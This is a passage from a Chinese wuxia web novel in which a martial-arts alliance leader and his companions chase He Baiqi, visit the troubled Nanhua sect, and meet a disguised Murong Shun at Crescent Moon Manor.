倒飞出去的何白旗被两道黑影接住,何白旗勉力站稳脚跟,晃了晃,还是倒了下去。他再被人扶起来的时候,一直追打李小谦未遂的那道黑影也灰头土脸地跑回来何白旗身边。 “老大,你没事吧?”那人拍了拍脸上的泥土,焦急地问了一句。 “嗯?”何白旗疑惑地看了他一眼,骂了句,“废物!” “何白旗!”眼看何白旗受伤,我上前喝道,“束手就擒吧。” “休想!”何白旗狠狠地说,“竟然使用暗器,卑鄙小人!” 小月从三个人肉串中拔出了那柄属于她的签子,缓步走到我身旁,说:“你也配说别人卑鄙?” 我拔出九郎剑,指着那些人,说:“再来啊!” 除了何白旗,另外三道黑影都向后退了几步。我心中窃喜,只要抓住了何白旗,这次大事可成,司徒清尘和周望安一定会对我感激涕零。 正喜悦间,忽然小巷的尽头红光一晃,一个风姿绰约的身影在红色灯笼的照耀下犹犹豫豫地走出了巷尾。 苏红袖! 她看见我,先是一愣,随后摇着手冲我喊:“盟主,你还没告诉我,我们到了临安以后去找谁啊?” “啊!”苏红袖话音才刚落,紧接着就传来一声惊呼。几道黑影从他身旁极速闪过,留在我们被苏红袖分散了注意力的那瞬息之间,已消失得无影无踪。 (本章完) 第二卷 武林盟的开始与结局 第一百二十一章 结果 第一百二十一章 1. 人的一生中,总会有一些无关紧要的人,因为无关紧要的事,出现在了最紧要的关头,打乱了你全部的计划。 苏红袖不期而至。 何白旗趁机逃脱。 小月冷冷地看着苏红袖,眸中闪烁着杀意。她说:“你来得可真是时候。” 苏红袖盈盈笑着,满口都是无辜:“我也不知道你们在做什么,我只是想来问一下盟主大人,到了临安府,我们要找谁,或是有什么信物给我们。总不能没头苍蝇似的跑到武林盟,说是盟主大人收留的吧。万一人家再把我们打出来,我们一群弱女子可要沦落街头了。” 小月一瞪眼,怒道:“巧言令色!” 信物? 我摸遍全身,的确没有什么可以提供的信物。我问李小谦:“你有什么信物吗?” 李小谦想了想说:“你到武林盟去找一个叫老乌的人。” “老乌?”苏红袖轻轻地念着。 李小谦说:“你告诉他,是盟主叫你们到武林盟的。让他为你们安排住处。他若怀疑,你就叫说‘老乌龟’三个字,他自然就明白了。” 老乌龟? 苏红袖咯咯地笑着,说:“这样恐怕不敬吧。” 李小谦说:“不碍事,这是我们的接头暗号。” 我说:“什么时候有了这样一个接头暗号?” 李小谦神神秘秘地冲我眨了眨眼睛,说:“以后再和你满满说。” 苏红袖悠悠地叹了口气,说:“好吧,好吧。小女子这就去武林盟,恭候盟主回去。”临走时,她向我投了一个媚眼,盈盈一笑,风骚(脱敏)媚骨让人不禁荡漾。 “等一下!” 我忽然看到了地上房大全的尸体,喊住了苏红袖,说:“你帮我一个忙。” 苏红袖问:“盟主有何吩咐?” 我说:“你能不能去一趟龙虎帮?” “龙虎帮?”苏红袖疑惑,问,“去那里做什么?” 我说:“你告诉龙虎帮的帮主周望安,就说他师弟房大全死了。” “仅此而已?”苏红袖问。 我点了点头,却听见李小谦补了一句:“就说,是死在了往生堂的手中。” 我急忙说:“不是!” 李小谦却拦住了我,他向我使了一个眼色,缓缓地摇头。 苏红袖怔怔站了片刻,微微一笑,说:“告辞了!” 2. 房大全明明是在运功时暴血身亡,他从生到死与何白旗都没有任何的肢体接触,为什么要将这罪责栽到何白旗身上? 我不懂。 当我问李小谦时,他说:“无论如何,何白旗已经站到了我们的对立面。既然这个结果无法改变,那就让周望安彻底恨上何白旗。即便是他不能与我们站在一起,但敌人的敌人,就是朋友。” 李小谦又说:“其实,房大全即使不是被何白旗所杀,但他终究是因何白旗而死。这也不算是冤枉了他。” 是这样吗? 我看向小月。小月抿了抿嘴,说:“虽然不算光明磊落,但这却不失是一个好主意。” 我低头沉吟,心中总觉得不安。 但事到如今,或许也只能如此了。 就地埋葬了房大全,我提起龙神刀,用一块碎布擦去刀刃上的血渍。 龙神刀,映着月亮的银光,发着轻轻的低吟,似乎是在为房大全悲鸣。我说:“我一定会把它送到龙虎帮的。” 李小谦拍了拍我的肩膀,有些悲情地说:“防火防盗防大全。看来,你不必再防了。” 3. 趣笔阁之事落下帷幕。虽然,结局并不随人愿。但这样的结果,却足以给司徒清尘一个交代。 当我们重新站在南华派门口时,看到的却不是高高飘扬的“证道记”大旗,也不见了悠闲摇着折扇的胖子。 南华派的大门上贴了一道封条。 揭开封条,我推门而入,一个蓬头垢面的胖子正急匆匆地路过。他看到我们,先是一怔,随后“哎呦”一声大叫,惶恐地喊道:“你们怎么把官老爷的封条给揭开了?!这下罪过大了!” 胖子惦着身上的一团肥肉开始往堂内跑,一边跑一边大叫:“不好了!大师兄!有人把封条揭开了!” 李小谦愣愣地看着,说:“怎么南华派这么多胖子?” 小月说:“早些年,南华派有钱的很,伙食在江湖上是出了名的好,因此养了一群胖子。”必读书屋 我叹了口气,说:“南华派都成了这个样子,这么看来,各大门派如今都很艰难啊。也难怪何白旗会铤而走险。” 李小谦拍了拍我的背,说:“兄弟,立场要坚定。何白旗那么干,出事是迟早的问题。” 说话间,正堂里匆匆跑出几道人影,为首的正是那日我和李小谦初上南华山时将我们引入内堂的年长男子。 他看到我们,片刻愣神,问:“盟主?你怎么又回来了?” 我说:“司徒掌门在哪?” 他说:“掌门近日身体不适,正在别院休息。” 李小谦拿着封条,问:“这封条是怎么回事?” 年长男子叹了一口气,说:“十四年时,朝廷便已下令管控言论,因言获罪者有黄龟年、白锷、张伯麟等人都被发配崖州。近日,朝廷又将新任绍兴知府不足两月的秦熺调回临安,任秘书少监领国史,禁私史。前些日子,掌门新著的证道记三卷中,有一句内容提到了风波亭三个字,便因此被查禁了。官府来人,连我南华派的大门都贴了封条,现在我们只能从侧门进出。司徒掌门恼怒之下,一病不起,现正在别院中养病呢。” 小月冷哼一声,骂道:“这个奸贼秦桧!” 那年长男子脸色陡然煞白,慌忙说道:“姑娘慎言。如今只能称‘圣相’,歌功颂德。姑娘这么说话,当心要......” “要怎么样?”小月目光一凛,冷笑道,“他能拿我怎么样?我可不像你们这群脓包,明明自己委屈的不行,却又不敢跳出来反抗。” 我忽然感觉小月的话语中有满满的煽动意味。她再说下去,难保不会挑动南华派公然对抗朝廷,如此一来,岂不又给朝廷抓了插手江湖之事的把柄? 我说:“你别说了。” 小月看着我,眼神十分复杂,她嘴唇动了动,却最终没有说一句话。 4. 当我们见到司徒清尘的时候,他正卧在床榻上,满身的肥肉几乎铺满了整整一张床。 “你怎么又回来了?”司徒清尘只瞥了我一眼,丝毫没有下床的意思。他拖着慵懒的调子,缓缓地说:“我可没有心思再与姬大盟主谈论什么江湖之事。” 他说完之后的表情显得很落寞,似乎是对这个江湖,甚至是这个世道有有些绝望了。 但我还是要告诉他,毕竟是牺牲了房大全性命才查到的结局。我说:“我们找到盗印你书册的趣笔阁了。其实他们是......” “无所谓了!”司徒清尘摆了摆手,说,“反正已经是这个样子了。能不能查到谁,都与我无关了。” 我说:“难道你就不想知道结果吗?” 司徒清尘一副漠不关心的样子,他说:“书都被禁了,还管什么盗版。” 我还想说什么,却被李小谦伸手拦住。他冲我摇了摇头,说:“司徒掌门,我们就不打扰了,告辞!” 司徒清尘缓缓闭上眼睛,说:“不送。” 就这么走了吗? 费尽千辛万苦! 临出门时,我回头对司徒清尘说了一句:“趣笔阁就是往生堂!盗印你书册的人,是何白旗。” 司徒清尘原本闭上的眼睛陡然睁开,目光中闪烁着阴冷的光。他轻声念着:“原来......是他!” 5. 踏出南华派,我倍感疲倦。那是一种从来都没有过的劳心感。我一直想努力地做好一件事,但最终的结果却总是事与愿违。 这次游历的初衷本是拉拢各大门派,对抗管天下等人的反叛,维护江湖的稳定。然而,才一开始,却已经让我感觉到处处艰难。 夜间,吉安城的一家小客栈里,我独自一人攥着竹筒在院子里发呆。 那伤痕累累的竹筒,让我不禁想到了那一袭雪白的白景行。他似乎死了已经很久了,久得让我出了一道白影几乎想不起他的模样。 但是,他却明明死了不过一年的时间。 “如果你还活着,你会怎么做?”看着竹筒,我轻声的问。问完之后,却又觉得可笑。纵使我怎么问,也不会得到答案。 一件青衫悄然披在我的肩上。我一回头,看到小月温柔的微笑,心中不觉一阵温暖。 “如果白前辈还活着,或许没有人敢这么公开反叛他吧。”小月握住了我的手。她的手有些冷,却温柔如水。 “因为他的武功高强吗?”我问。 小月说:“不只是武功高强。还有一种不怒而威的震慑感。” 我一阵失落:“是啊,我却没有。”我攥紧竹筒,它在我手中摩擦,发出“呲呲”的声响。 小月说:“不要再勉强了。我们走吧。这个江湖本来就不属于你,一味强求只会适得其反。” “走?”我说,“去哪里?” 小月说:“随便,天涯海角,哪里不好呢?” 天涯海角...... 可是,这个武林盟主的头衔所给我带来的那种感觉,那种明知是虚假也会让我禁不住兴奋的感觉,那种当别人叫我“盟主”时会让我下意识挺直腰板的感觉...... 我却如何能够放下? 我说:“我们明天就走!” “真的?”小月的手陡然用力,她脸上露出抑制不住地喜悦,“去哪里?” 我缓缓将手抽了出来,说:“月牙山庄。”随后,转身离去。 第二卷 武林盟的开始与结局 第一百二十二章 扑朔 1. 淼淼鄱湖,浩瀚无边。 晨风微袭之时,墨蓝色的穹顶之下,是万亩青绿的湖水。 小楫轻舟,一壶浊酒,我们三人飘荡在鄱阳湖上,看水中银鱼摆尾,群鹤飞翔。数日来压抑的心情,在这一刻全然释放开来。 心旷神怡,便是这种天高水阔之下的畅怀感吗? 李小谦伸手捧起湖水,凑上去闻了闻,随即大口喝了起来。 “啊!”他畅快地呼了一声,说,“还是旧社会好啊!没有雾霾,也没有排污管......” 小月站在船头,望着波光潋滟的湖水,这样的美景却不能扫去她眉头的愁绪。我走过去,问她:“你怎么了?” 小月看着我,嫣然一笑,缓缓地摇头,说:“没事。” 我鼓起勇气,伸手去拉她的手。她没有丝毫的反抗,顺势把她的手递到了我手中。我说:“你是不是不想去月牙山庄?” 小月摇头,说:“不是。你去哪里,我就去哪里。只是......”她的眼睛中闪过一丝忧悒。 我问:“只是什么?” 小月的视线重新投向水天相接的地方,她说:“只是不知道这次又会是什么样的结果。” “喂!” 李小谦喊了一声,打断了我和小月的对话。他说:“天都亮了,你俩还需要我做电灯泡吗?” 我不解,问:“什么叫电灯泡?” 李小谦想了想,说:“就是不用蜡烛的灯笼。” 小月呵呵地笑了,说:“那岂不是一盏不会亮的灯?” 我也笑了,说:“是一盏死灯!” 李小谦长叹一声,双手高高举起,仰首看天,表情怅然,叫道:“苍天啊!他们这么公然地撒狗粮,你就不惩罚他们吗?” 狗粮? 我左右看了看,问:“哪里有狗?” 李小谦忽然低头,死死地盯着我,突然叫了一声:“汪!” 2. 船触岸时,李小谦喝得有些醉了,开始胡言乱语。 他双手搭在我的肩上,打着嗝,腥酸的酒气喷了我一脸。他含含糊糊地说:“旦丙啊!你哥哥我这辈子是尿(sui)透了!人家穿越回来都是当王爷、当将军、当驸马,老子穿越回来连个公务员都考不上!最可气地是,人家想回去一抹脖子就完事了,你哥哥我拿剑比划了好几次......”他突然抽泣了两声,呜哇呜哇地哭了起来:“我下不去手啊......” 他又忽然把手伸到我袖子里,掏出九郎剑,塞到我手里,说:“旦丙啊!你帮帮大哥,在哥哥脖子上剌一下!”说话间,他举着我的手,把剑架到了 自己咽喉处。 “我来!”小月喊了一声,随即把剑拔了出来。李小谦脸色一变,身子一软蹲在了地上,指着小月叫道:“弟妹!你,你冷静点......别,别太当真!” 小月脸颊一红,嗔道:“再敢乱叫,我割了你的舌头。” 李小谦迷迷蒙蒙,躺在潮湿的草地上,身子摆成一个大字,长舒一口气,不肖片刻竟打起了呼噜。 我和小月对视一眼,皆是无奈,只好席地而坐,静静地等待李小谦醒来。 “他真的是九百年以后来的吗?”小月看着李小谦,有些疑惑。 我点了点头,说:“他一直是这样说的。而且,他说话做事和我们都不太相同。” 小月没有说话,他看着李小谦的脸,似乎有些出神。 “你在想什么?”我轻声地问。 小月缓缓地摇头,说:“没什么。我只是不知道你对他如此推心置腹,到底是对还是错。” “我们是结拜兄弟。”我说。 小月皱了皱眉,说:“但愿,他也是这么想的吧。” 我不解,问:“你是什么意思?” 小月忽然转头看向我,问:“你们这次出行,为何不先去括苍山,却偏偏来了无关紧要的南华派?” 我说:“我们抓阄抓得便是南华派。”我看小月有些忧虑,便问:“有什么问题吗?” 小月说:“你应当先去括苍山的。陈伯洋的态度很重要。” 是这样吗?想起那柄金丝缠绕的海皮刀,还有那个双眼迷离,说话总是云山雾绕的矮子,我心里莫名地一阵怵意。 我说:“我不喜欢陈伯洋。” 小月说:“这与喜不喜欢没有关系。既然你想要置身于这个江湖中,那便不能一味凭借自己的喜好做事。” 我说:“我没有凭借自己的喜好。我是抓阄决定的,这很公平。” 小月忽然笑了,她挽住我的手,温柔地说:“我指的不只是这件事,是所有的事。”她顿了顿,又问我:“那这个江湖中,你更喜欢谁?” 我想了想,将各大门派在脑海中过了一遍,说:“易小心吧。” 小月一怔,似乎有些不可思议,问:“为什么是他?是因为白前辈吗?” 我并不确定。或许正是因为白景行,让我对青云,对易小心都有一种莫名的好感。我说:“大概是吧。” 小月说:“其实,你真的不该涉足这个江湖的。单纯地渡过一生,不去操心那些纷纷扰扰多好。” 我说:“可是,我已经是武林盟主了。” “是啊。”小月怅然,说道,“所以,你更应该去用心去揣摩 每一个人的心思。我师父曾经说过,江湖便是人心。” 陆石! 小月的话一瞬间将这个名字在我心海的深处捞了起来。与这个名字一同附上水面的,还有一个在我心底缠绕了很久的谜。 虽然,所有的人都不愿让我去追究这件事,但我还是忍不住。我对小月说:“我想......问你一件事。” 小月说:“什么事?” 我说:“你师父是不是认识一个叫马小六的人?” “马小六?”小月有些疑惑,她说,“我从未听过。他是谁?” 我说:“他是前任的丐帮帮主。”犹豫了片刻,我还是加了一句:“他是金人派来的奸细。” “金人?!”小月皱着眉,问,“我师父生平最恨金人。他怎么会认识这样一个人?” 我说:“我曾经在丐帮马小六的房间里发现一封信。那封信上写着四个字,我想那应该是你师父写的。” “什么字?”小月问。 我说:“圆信已死。” 小月脸色骤变,忽然站了起来,叫道:“你说得是真的?” 我不明白小月为何会有如此大的反应,随着也站了起来,点了点头,说:“是真的。” “怎么会......原来......” 小月面色惨白,她肩头有些颤抖,眼神惊慌,甚至是惊恐。 我说:“你怎么了?” 小月忽然抓住我的手说:“你答应我,这件事不许再和任何人提起。” “为什么?”我不解。 小月急道:“不要问。你答应我!” 看着小月焦急的样子,即使我心中万般疑惑,却也只能说:“好,我答应你。” 小月轻咬着唇,沉吟了许久,说:“傻子。我不能陪你去月牙山庄了。” 她这是要走吗? 我心里一空,叫道:“你要去哪?” 小月说:“我要去找我师父。我担心他会出事。” “他会出什么事?”我问。 小月说:“我......我现在还不确定。但我必须回去确定一件事情,今后我会告诉你,但现在,我必须要走了。” 她松开我的手。我可以看得出她眼中有如我心中一样的不舍得,但她却很坚定,坚定得让我无法去挽留她。 我只好点头。小月说:“月牙山庄的慕容顺并不是坏人。他与何白旗不同,他虽然爱发牢骚,但为人还算磊落。你见到慕容顺之时,只管对他说明来意,却不可以逼迫他。我相信,即便他不会全然地支持你,但也绝不会站到管天下一边与你作对。” “我明白了。”我说。 小月眸中闪烁,抿了抿嘴,柔声说道:“傻子,你要保重。” 我会的,你也要保重啊。我心里想着,但这样道别的话却让我倍感酸涩,如何也说不出口。 小月迟疑了片刻,忽然附在我的耳边轻声说道:“凡事要自己多多思量,不要一味相信李小谦。” 3. 为什么不能相信李小谦? 这句话我还没有来得及问出口,小月却已经走了。 望着她离去的背影,我开始有些后悔。如果我对小月说这件事情,只怕此刻她不会这样突然地离开。 而小月却终究还是离开了,离开得如此突然,如此莫名其妙。她这样莫名其妙地离去,却让那个谜在我心里更加扑朔。 这个谜的谜底到底是什么? “哎呦喂!” 似乎是过了很久,太阳已全然跃出水面,升入半空。李小谦伸着懒腰从湿乎乎地草地上爬了起来,他惺忪的睡眼扫量着周围的一切,问:“你媳妇儿呢?” “走了。”我漠然地回应,提不起一丝精神。 “走了?”李小谦疑惑着,又环顾了一圈,问,“去哪里了?” 我说:“去找他师父了。” 李小谦“哦”了一声,忽然脸色一沉,问道:“你是不是对她说了什么?” 我说:“我只是想问一问那封信......” 李小谦在我肩头重重地打了一拳,叫道:“你是不是傻啊?你知不知道,你这样会毁了陆石的名声!到那时候,你和小月怎么相处?我们和陆游又怎么相处?” 我抓着李小谦的手臂,问:“你是不是知道什么?你从一开始就知道对不对?” 李小谦甩开我的手臂,说:“就算知道也不告诉你!”说罢,他挎着大步,转身离开。 我问:“你去哪?” 李小谦头也不回,大声喊着:“月牙山庄!” (本章完) 第二卷 武林盟的开始与结局 第一百二十三章 青衫 1. 当我经历了许多事,历经了蹉跎的岁月,才渐渐懂得一个道理。人这一生中,解开一些谜团需要时间,需要等待。纵使这份等待再怎么煎熬,我们能做得往往也只是继续等待。 2. 快到月牙山庄时,我和李小谦路过一片绿油油的梯田。从半山坡上一层层,一圈圈地一直落到地面。几个身穿统一服饰的男女,有的扛着锄头,有的挎着菜筐,有的提着水桶从梯田一侧的小径上缓步走下来。 我想到,那年中元节夜,慕容顺曾满腹牢骚地对众人称,月牙山庄的人为了讨生计在田间种菜,自给自足。 李小谦摇头叹息,他说:“想不到,当年闽赣一带盛极一时的月牙山庄竟然真的沦落到开山种地的地步。” “你们是什么人?”从山上下来的两男两女警惕地看着我们,其中一个身材高挑,样貌十分出众的英俊男子问道。 我说:“我们是来找慕容顺的。” 几人脸上闪过一丝不快,那男子又说:“你是何人?找我们庄主有何贵干?” 我说:“我是武林盟主,找他有事。” 两个女子噗嗤一声笑了。其中一个女子捂着嘴,轻声对另一名女子说:“原来……他就是那盘好菜。” 我攥紧拳头,强压下怒火,问:“你们庄主在吗?” 那男子迟疑了片刻,说:“我记得庄主早间说有什么要紧的事要出门一趟,不知是否走了。” 慕容顺不在吗? 我正琢磨着,李小谦说:“有劳这位大哥到庄上禀报慕容庄主,就说我二人求见,若他没有出门,还请他务必赏光一见。” 那男子点了点头,说:“两位稍候片刻。”说罢,他向其余几人使了眼色,便急匆匆地离去了。 看着他们的背影,我心中有气,说:“月牙山庄的架子真大,也不请我们到庄上去。就让我们在这里等。” 李小谦微微一笑,说:“兄弟,别那么较真。这里风景不错,我们正好到处逛逛。” 听他这么一说,我才放下心头的愤怒去欣赏四周的风景。月牙山庄的梯田,依山坡从上到下,错落有致。正值六月间,每一块天里都是如碧玉一般的翠色,远处看去,这修着梯田的山丘,倒像是一层层打磨平整的宝玉一层层地摞起来的。 绕梯田走了一会儿,转过山丘的一角,眼前豁然开朗,竟然一片莫约百亩的宽阔水田,犹如大地上一块碧玉做成的镜子,倒映着苍翠的山丘,更倒映这天上的云朵。 “我靠!”李小谦惊叹,“慕容顺也太不实诚了,张口闭口就是哭穷,他这可比地主都富裕啊!” 水田东侧,一座别致的凉亭,亭中有石桌石凳整齐地摆着,颇有闲云野鹤的意境。这样的凉亭应该是在山清水秀,云雾环绕的半仙之境,放在田间地头,倒显得有些怪异了。 “过去看看。”我被那凉亭莫名地吸引了,鬼使神差地向那里走去。 “喂!”李小谦跟在我身后喊着,“走反了,月牙山庄在那边。” 我转身望向与凉亭方向相对的一片紧凑的庄园,它在群山环绕之间,被挤成一道弯弯的月牙形状,每一间楼宇之上都是一种奇特的亮瓦,倒映着天光,十分梦幻。 还从未见过建造成这样的园子,远远的便给人一种神秘之感。 但不知为何,我还是被那个凉亭深深地吸引着。它孤零零地立在百亩水田之侧,出现的如此不合意境,总让我觉得那里会有事情发生。 3. 李小谦终究是没有拗得过我,随我来到那个凉亭,凉亭前七八尺之处立着一个半人多高的石头,石头一面被整齐地抛出一个平面,上面漆红大字阴刻着“缅岳亭”三个字。 我轻轻念着凉亭的名字。缅岳亭。是在缅怀岳飞将军吗? 正出神之间,一个披头散发,身穿青色长衫的男子,抱着一把琴走进了凉亭。他看都不看我们一眼,仿佛我们不不存在一样,默然地将琴放在石桌上,自己兀自坐在石凳上抚琴,十分陶醉。 琴声悠扬而起,时而去滴水落平潭,时而去洪流入江海,松弛有度,缓急交错,让人不禁心脾徜徉。 “是我们先来的。”虽然,我不忍打断他弹琴,但他这样对我们视若无睹,着实让我难以忍受。 那人依旧陶醉在自己的琴声里,丝毫不机会我。我大声喊道:“是我们先来的!你听到没有!” “嘣!” 青衫男子忽然将琴弦按住,抬头怒视着我,说:“笑话!主人要用这个亭子,还需要跟别人讲什么先来后到?” 主人?月牙山庄的主人应当是慕容顺才对啊! 我疑惑地打量着这个青衫男子,他头发披散着,散着奇异的幽香。他肤色白皙,五官端正,鼻梁高耸,双目炯炯有神,是一个颇为英俊的男子。并且,我隐约感觉他的眼神与慕容顺有些相似,但样貌实在与慕容顺相差太远。 李小谦说:“的确不能将先来后到,既然是主人,就应当懂得礼让客人的道理。”搜读电子书 “客人?”青衫男子笑道,“我几时说过你们是我的客人?即便是客人,只怕也是不速之客。” 我说:“你到底是什么人?” 青衫男子微微一笑,说:“我是这缅岳亭的主人。” 我问:“缅岳亭是不是缅怀岳将军的亭子?” 青衫男子说:“天下之大,岳字的含义何其丰富,你怎么就认为我缅的这个岳便是岳将军?” 我反问:“如果不是,那会是什么?” 青衫男子朗声大笑,他手在琴弦上轻轻一扫,一把横琴竟如同是贴在他手掌心一般,顺着他手掌扫去的方向,飞到他身旁的地面上,稳稳地落下,整个过程没有发出一丝一毫的声响。 好强的内力! 我禁不住感慨。这时,那青衫男子淡然一笑,说:“正好,我今日闲来无趣,不如招待一下两位。”他手伸向另外两个石凳,说:“请坐。” 李小谦毫不客气地坐下。我点头道谢,屁股刚往下一沉,却听见“嗖”的一声响,眼中似乎是看到一道黑影从那青衫男子的手掌间向我飞来。 我下意识地一侧头,那黑影贴着我面门划过。“磅”的一声响,打在凉亭的柱子上。竟是一枚指肚般大小的石子,深深地嵌入其中。 “你!” 他冷不丁地出手,让我愤怒不已。我想要骂他,却见他手一翻,又一道黑影从手掌间飞出。李小谦早已踏着轻功跑到五丈之外,我没有他那样的脚力,只好拔剑来挡。 “当”的一声。 这样的暗器在我眼中,不过是十几根银针的速度,不费吹灰之力便可以挡下。 青衫男子眉头一皱,手掌上下翻动,“嗖嗖嗖”,三子连发,齐齐击向我要害。 他这是要杀人吗? 我虽疑惑,但却来不及多想,连番挥剑格挡。剑光三次划过我的眼睛,三颗石子被我斩成六半,四散飞去。 “好快的剑!” 青衫男子喊了一声,豁然起身,手拿拈花指,食指向外一弹。 没有黑影。 不是石子。 但我却分明听到“嗖”的一声破空之响,比那几枚石子发出来的更具威力。 我只能勉强地听声辩位,凭借感觉去格挡他发出来的无影无踪的暗器。 九郎剑在我胸前发出一声闷响,整把剑如受重创一般,在我手上剧烈颤抖,通过我紧握剑柄的手传遍全身,让我周身血气翻腾,几乎难以压制。 青衫男子似乎不再出手了,他缓缓坐下,带着淡然的笑意,似乎是什么都没发生过一样。 “你想做什么?”我平定内息,一挥剑,厉声喝问。 青衫男子说:“好快的剑!只可惜,没什么内力,如若不然……” “不然什么?”我疑惑地问。 他却爽朗地笑了起来,打开脚边的红色食盒,拿出一壶酒来,一挥手,食盒里的三只空盏随它手势飞起,稳稳落在石桌上,三座石凳之前。 “请坐吧!”青衫男子仿佛是完全不打算出手了,他说话的语气十分和缓,说,“你不要多想,我不过是出手试探一下你武功的高低,并无恶意。” “那你觉得我武功怎么样,是高是低?”他的话勾起了我强烈的好奇心。我从没有像此刻一样想要知道一个问题的答案。 青衫男子缓缓倒酒,说:“姬兄弟果然是爽快人,说话直来直去,倒不知道让我如何回答了。” “我想听实话。”我说。 青衫男子思索了片刻,说:“不好不坏,不高不低。你出剑奇快,一般人难以做到,只是这内力……” “好了,不用说了。”我打断了他。 那人一怔,满脸错愕,问:“怎么了?” 我说:“我知道自己内力不足,你不用总是重复此事。”说罢,我坐在石凳边,忽然想到他方才曾叫我“姬兄弟”,便愕然问道:“你认得我?” 青衫男子将表情埋进披散的头发里,说:“武林盟主,谁人不识?!” 第二卷 武林盟的开始与结局 第一百二十四章 烤鱼 1. 眼前的青衣男子将三只空盏填满了酒,对我说:“自家酿制的稻花醇香,请用。” 我低头看着飘满酒花的酒盏中,珍珠一般的小气泡一个接一个的破裂,心中有些犹豫。我说:“会不会有毒?” 青衣男子呵呵一笑,端起酒盏一饮而尽。 我依旧有些犹豫,端起酒盏凑到鼻子边闻了闻。一股十分纯正的酒香,其中隐隐还透着稻米的香气。 “你们打完了?”李小谦颠着步子走了回来,一屁股坐在石凳上,笑着问,“还打吗?” 青衫男子将酒盏推到李小谦面前,说:“少林的轻功。许久没有在江湖上见过了,不知道兄弟师出何人?” 李小谦端起酒盏一口喝下,说:“当然是师出少林派的人。” 青衫男子点头说道:“不错,不错。既然是师出少林,却不应该只有轻功这么简单。可否展示一下少林派的绝学,让在下看看眼界?” 李小谦警惕地看着青衫男子,说:“我可不想和你动手哈,你别想向我扔石头!” 青衫男子哈哈大笑,说:“兄弟是不屑向我展示,还是因为学艺不精而不自信呢?” 李小谦不屑地笑了笑,嘴里发出“切”的一声,说:“你说让我展示,我就要展示,看马戏还得先买票呢,你先来一手给我瞧瞧再说!” 青衫男子笑着摇了摇头,为李小谦酒盏中斟满酒,随后,他竟然将李小谦的酒盏端了起来,虚握在手中,眉头陡然一紧,瞬间我感觉他手掌周围热气升腾,不肖片刻,酒盏中竟然冒出了徐徐白气。 李小谦看得目瞪口呆。青衫男子将酒盏放回李小谦的面前,轻轻抿了抿额头的汗珠,笑道:“献丑了。” 好厉害! 手掌煮酒,这真是时间难得一见的绝学。 感慨之余,我还有些疑惑,不顾青衫男子的错愕一把抓过他的手掌来回翻看。他皮肤细腻得像女人一般,显然是个十指不沾阳春水的养尊之人。他的手心微微发热,有一层轻细的汗液。 “厉害!”我松开青衫男子的手,赞叹不已。 青衫男子皱着眉,将手掌衣服上搓了几下,说:“过奖了。”他看着李小谦,眼睛中闪过一丝期待。 李小谦似乎是心领神会,站起身来,本是一尘不染的石凳,不知他为何要拍一拍屁股,走出凉亭站到水田边,怔怔地站着,眼睛盯着水面一动不动。 风一吹,水中似乎有灰影略过。李小谦手拿龙爪状,急速伸到水面之下。“哗啦”一声,再抬手时,他手中攥着一条巴掌大小鲫鱼。 青衫男子“噗”的一声,酒喷了出来。他慌忙从袖子里掏出方帕抿去石桌上的酒水,忍笑说道:“抱歉,呵呵,抱歉.....” 李小谦攥着鲫鱼笑嘻嘻地走了回来,说:“少林擒拿手!” 青衫男子尴尬地咳了两声,说:“真是.....大开眼界!”他为我填满酒水,端起酒盏做了个敬酒地姿态,笑道:“请了。” “慢着!”李小谦喊道,“有酒没肴,索然无味。”他将那条鲫鱼伸到青衫男子脸前,说:“月牙山庄的烈火掌天下闻名,既然能温酒,相必也能烤熟这条鲫鱼。” 青衫男子一怔,随即哈哈大笑,说道:“这位兄弟的眼力果然厉害。” 我一阵发懵,问:“什么意思?你是月牙山庄的......” 青衫男子手掌在脸前一擦而过,揭下一层薄薄的皮囊,露出来的竟然是慕容顺那张富含书生气质的脸庞。 2. “姬盟主。”慕容顺向我一抱拳,笑道,“方才在下有些无礼了,还请见谅。” 我说:“你为什么要带着人皮.面具来骗我。” 慕容顺说:“我并不是要带着人皮.面具来见你,而是这些日子我一直带着这张面具。” 我问:“为什么?” 慕容顺叹了口气,说:“全都是那个无聊的管天下。他屡次派人到月牙山庄游说,想要让我与他一起起事。他那点小心思,我看得透透的,无非是混不下去了,看着我月牙山庄还有些自己种的粮食,拉我入伙,好让我做他们的后方。” 慕容顺把玩着那个制作精细的人皮.面具,说:“不胜其扰之下,我只得换一张脸来做人。虽然不是我的性格,但却也省去许多烦恼。” 我这才意识到,我出门游说的同时,管天下也在进行中同样的事情。我想到小月临走时对我说的话,慕容顺为人还算磊落,对他可以直接说明来意。 我说:“你不能与管天下同伙,你能不能帮我?” 慕容顺一怔,问:“这便是你此番的来意?” 我说:“不错。” 慕容顺笑了笑,说:“盟主竟然也要像管天下一样,四处拉拢别人吗?你有朝廷做后台,恐怕不会在乎我这区区几亩薄田吧。” 我看着将月牙山庄紧紧环绕起来的一片沃土,加上两侧的梯田,只怕总共不下千亩,我说:“你这田一点都不薄。” “喂,喂!”李小谦不耐烦地摇了摇手上的鲫鱼,说,“这鱼你还能不能烤了?”千千吧 他这样一说,我倒真觉得有些饿了。 我看着慕容顺,问:“能烤吗?我饿了。” 慕容顺脸色一变,怔怔地看着那条快要被李小谦捏死的鲫鱼,露出一丝难色。 我看在眼里,不想为难慕容顺,便说:“不行,就算了。” 李小谦说:“男人不能说不行!” 慕容顺脸色变得很难看,他迟疑了片刻,伸手抓过李小谦手中的鲫鱼,眉头一皱,那鲫鱼如同活了一般在他手里猛然跳动了几下。 渐渐的,鲫鱼不再跳了,腹部的鳞片从亮白逐渐变成金黄,渐渐晕开,传遍全身。 慕容顺额头冒汗,手中渐渐冒气青烟。他咬着牙,两腮不停地鼓动。 我说:“不要勉强了,不行就算了。” 李小谦又强调了一遍,说:“男人不能说不行!” 慕容顺眉头紧锁,手上青筋暴起,鲫鱼发出滋啦滋啦的声响,紧闭的鱼嘴缓缓张开,并吐出白烟。 片刻功夫,我已经闻到一股清晰的腥香。 但慕容顺的双唇已经微微泛白,汗珠从他额头大滴大滴的滚落下来,滴到他手上,又是滋啦一声,登时化作水汽。 “好香啊!”我不禁感慨,“好像烤肉的味道。” 话音刚落,慕容顺“啊”的大叫了一声,豁然站起身来,将手上的鲫鱼抛到天上,另一只手死死地攥着手腕,而那只烤鱼的手的手心,已经是焦黑一片。 “啊!”慕容顺叫着,“我的手,我的手!” 我慌忙站起身来,扶住慕容顺,关切地问:“你的手没事吧!” 慕容顺一掌推到我胸口,一股灼热的气息闷入我的心肺,直冲我的咽喉。我向后连退几步,站稳身子,却见慕容顺正恶狠狠地盯着我。 